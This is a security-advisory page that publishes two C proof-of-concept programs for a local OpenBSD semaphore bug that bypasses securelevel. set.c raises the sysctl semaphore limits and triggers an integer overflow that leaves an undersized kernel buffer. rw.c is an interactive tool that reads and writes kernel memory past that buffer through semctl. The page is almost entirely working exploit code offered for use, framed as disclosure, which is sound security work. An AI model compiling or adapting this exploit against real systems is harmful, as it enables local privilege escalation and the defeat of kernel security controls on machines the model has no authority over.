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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

As we reported in our previous article: Local Security Bug in OpenBSD Semaphore Handling, a vulnerabliity in OpenBSD allows local users to bypass securelevel, the following two files are PoC for the issue.

Credit:
The information has been provided by blexim.

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rw.c:
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/param.h>
#include <sys/sysctl.h>

int semid, idx, val;

int read_sem(struct sem *);
void do_read(char *);
void do_write(char *);
void dump_hex(void *, unsigned int);
void dump_sem(struct sem *);

int main(int argc, char *argv[]){
  int quit;
  char buf[80], prev;

  if(argc < 2){
    printf("%s <semid>\n", argv[0]);
    return 1;
  }

  semid = atoi(argv[1]);
  quit = 0;

  while(!quit){
    printf("\n> ");
    fgets(buf, sizeof(buf), stdin);

    switch(buf[0]){
    case 'r':
    case 'R':
      prev = 'r';
      do_read(buf);
      break;

    case 'w':
    case 'W':
      prev = 'w';
      do_write(buf);
      break;

    case 'q':
    case 'Q':
      quit = 1;
      break;

    case 'h':
    case 'H':
      printf("Enter one of the following commands:\n");
      printf("\tr - read a semaphore\n");
      printf("\t\tsyntax r index[.level]\n");
      printf("\t\te.g. r 1\n");
      printf("\t\te.g. r 1.val\n");
      printf("\tw - write a value\n");
      printf("\t\tsyntax w index value\n");
      printf("\t\te.g. w 1 7\n");
      printf("\tq - quit\n");
      break;

    case '\r':
    case '\n':
      if(prev == 'r'){
        sprintf(buf, "r %d\n", ++idx);
        do_read(buf);
      }
      else if(prev == 'w'){
        sprintf(buf, "w %d %d\n", ++idx, val);
        do_write(buf);
      }
      break;

    default:
      break;
    }
  }

  return 0;
}

/* Read the contents of a sem structure.
*
* idx = index into the array
* s = buffer to read sem structure into
*/

int read_sem(struct sem *s){
        /*
         * At this point we have forced the kernel to allocate a too-small
         * buffer. We can read and write members of struct sem's beyond this
         * this buffer using semctl(). A struct sem looks like this:
         *
         * struct sem {
         * unsigned short semval;
         * pid_t sempid;
         * unsigned short semncnt;
         * unsigned short semzcnt;
         * };
         */

  memset(s, 0, sizeof(struct sem));

  s->semval = semctl(semid, idx, GETVAL, NULL);
  if(errno != 0)
    goto err;

  s->sempid = semctl(semid, idx, GETPID, NULL);
  if(errno != 0)
    goto err;

  s->semncnt = semctl(semid, idx, GETNCNT, NULL);
  if(errno != 0)
    goto err;

  s->semzcnt = semctl(semid, idx, GETZCNT, NULL);
  if(errno != 0)
    goto err;

  return 0;

err:
  perror("read_sem: semctl");
  return -1;
}

void dump_hex(void *buf, unsigned int size){
  int i, *p;

  p = buf;

  printf("\n");

  for(i = 0; (i * sizeof(int)) < size; i++)
    printf("0x%.08x ", p[i]);
}

void dump_sem(struct sem *s){
  printf("val = %d (%.04x)\n", s->semval, s->semval);
  printf("pid = %d (%.08x)\n", s->sempid, s->sempid);
  printf("ncnt = %d (%.04x)\n", s->semncnt, s->semncnt);
  printf("zcnt = %d (%.04x)\n", s->semzcnt, s->semzcnt);
}

void do_write(char *buf){
  char *p;

  /* write something */
  if((p = strchr(buf, ' ')) == NULL){
    printf("w must take parameters\n");
    return;
  }

  p++;
  idx = atoi(p);

  if((p = strchr(p, ' ')) == NULL){
    printf("w needs a value to write\n");
    return;
  }

  p++;

  if(!strncmp(p, "0x", 2))
    sscanf(p, "0x%x", &val);
  else
    val = atoi(p);
  semctl(semid, idx, SETVAL, val);
}

void do_read(char *buf){
  int ret;
  char *p;
  struct sem sem;

  /* read something */
  if((p = strchr(buf, ' ')) == NULL){
    printf("r must take an index argument\n");
    return;
  }

  p++;
  idx = atoi(p);

  ret = read_sem(&sem);
  if(ret < 0)
    return;

  printf("Index %d:\n", idx);

  if((p = strchr(p, '.')) == NULL){
    dump_sem(&sem);
    dump_hex(&sem, sizeof(sem));
  }
  else{
    p++;
    if(strstr(p, "val"))
      printf("val = %d (%.04x)\n",
        sem.semval, sem.semval);
    if(strstr(p, "pid"))
      printf("pid = %d (%.08x)\n",
        sem.sempid, sem.sempid);
    if(strstr(p, "ncnt"))
      printf("ncnt = %d (%.04x)\n",
        sem.semncnt, sem.semncnt);
    if(strstr(p, "zcnt"))
      printf("zcnt = %d (%.04x)\n",
        sem.semzcnt, sem.semzcnt);
  }
}

set.c:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/param.h>
#include <sys/sysctl.h>

int main(void){
  int sem, nsems, ret;
  int sys_name[3], old_semmns, semmns, old_semmsl, semmsl;
  size_t old_size;

  /*
   * 357913942 * 12 = 100000008 (rounds to 8), so the buffer is 8 bytes
   * long.
   */

  nsems = 357913942;

  /* set the max semaphores allowed so that nsems is valid */

  sys_name[0] = CTL_KERN;
  sys_name[1] = KERN_SEMINFO;
  sys_name[2] = KERN_SEMINFO_SEMMNS;
  old_size = sizeof(old_semmns);

  ret = sysctl(sys_name, 3, &old_semmns, &old_size, NULL, NULL);

  if(ret < 0){
    perror("sysctl(get semmns)");
    return 1;
  }

  semmns = old_semmns + nsems;

  ret = sysctl(sys_name, 3, &old_semmns, &old_size, &semmns,
    sizeof(semmns));

  if(ret < 0){
    perror("sysctl(semmns)");
    return 1;
  }

  sys_name[0] = CTL_KERN;
  sys_name[1] = KERN_SEMINFO;
  sys_name[2] = KERN_SEMINFO_SEMMSL;
  old_size = sizeof(old_semmsl);

  ret = sysctl(sys_name, 3, &old_semmsl, &old_size, NULL, NULL);

  if(ret < 0){
    perror("sysctl(get semmsl)");
    return 1;
  }

  semmsl = old_semmsl + nsems;

  ret = sysctl(sys_name, 3, &old_semmsl, &old_size, &semmsl,
    sizeof(semmsl));

  if(ret < 0){
    perror("sysctl(semmsl)");
    return 1;
  }

  sem = semget(IPC_PRIVATE, nsems, IPC_CREAT);

  if(sem < 0){
    perror("semget");
    return 1;
  }

  printf("Successfully got a semaphore\n");
  printf("id = %d\n", sem);

  return 0;
}

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